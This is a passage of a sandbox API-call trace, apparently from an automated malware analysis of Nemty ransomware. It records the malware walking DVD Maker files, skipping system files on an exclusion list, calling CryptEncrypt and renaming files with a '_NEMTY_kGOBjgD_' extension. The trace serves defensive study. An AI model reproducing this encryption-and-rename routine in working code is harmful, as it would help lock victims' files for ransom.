lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0089.531] CloseHandle (hObject=0xffffffff) returned 0 [0089.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0089.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0089.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.531] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0089.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0089.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0089.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.531] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png._nemty_kgobjgd_")) returned 0 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0089.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0089.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0089.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0089.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0089.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.532] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2=".") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="..") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="...") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="windows") returned -1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="$RECYCLE.BIN") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="rsa") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="NTDETECT.COM") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="ntldr") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="MSDOS.SYS") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="IO.SYS") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="boot.ini") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="boot.ini") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="AUTOEXEC.BAT") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="ntuser.dat") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="desktop.ini") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="CONFIG.SYS") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="RECYCLER") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="BOOTSECT.BAK") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="bootmgr") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="programdata") returned 1 [0089.532] lstrcmpiW (lpString1="SceneButtonInset_Alpha1.png", lpString2="appdata") returned 1 [0089.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0089.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonInset_Alpha1.png", lpUsedDefaultChar=0x0) returned 27 [0089.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0089.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0089.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonInset_Alpha1.png", lpUsedDefaultChar=0x0) returned 27 [0089.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0089.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0089.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0089.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0089.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonInset_Alpha1.png", lpUsedDefaultChar=0x0) returned 27 [0089.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0089.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0089.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SceneButtonInset_Alpha1.png", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SceneButtonInset_Alpha1.png", lpUsedDefaultChar=0x0) returned 27 [0089.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94338 [0089.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0089.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0089.533] Sleep (dwMilliseconds=0x5) [0089.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9049930, dwHighDateTime=0x1d561e7)) [0089.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9049930, dwHighDateTime=0x1d561e7)) [0089.542] GetLastError () returned 0x5 [0089.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0089.542] GetLastError () returned 0x5 [0089.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0089.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0089.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0089.542] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0089.542] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0089.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0089.542] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="V4ZmGpSUZiYtYdzwBLJQWGSRdPnjrrR8yNQUjbwNBKVwm8VndTQZyMZMPRXmC8TN\r\nTzKmWAx0vZ6kwYDUq6Q6+swpmX4A754Clp/7tYCM7mQ8KyqnYltWg9U8s05MC+lK\r\nlqtKBtRno2ZiCBu7fBs16UmSG8PTBLFYOR3RcLTDPHEPT154nDWV9iQY3KWtQ3lA\r\nxzNd87jJkpiQ4duh9HDPIQdttDk2/4rzTPbw8zDoohvnGeLhpCfAp0flrhMpFBEg\r\nF2qv+0xxKjBJHlNPWHcPUEGVKcojIIJX7+gU4ofKNBTyx0gEJ76FdpTAXUCVtd+r\r\n75KAHfzAzq4JdB3stdldsw==\r\n", pcchString=0x653e91c) returned 1 [0089.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0089.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0089.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0089.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0089.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0089.542] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.543] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0089.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0089.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0089.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.652] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0089.652] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0089.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0089.652] CloseHandle (hObject=0xffffffff) returned 0 [0089.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0089.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0089.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0089.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0089.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0089.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0089.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0089.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 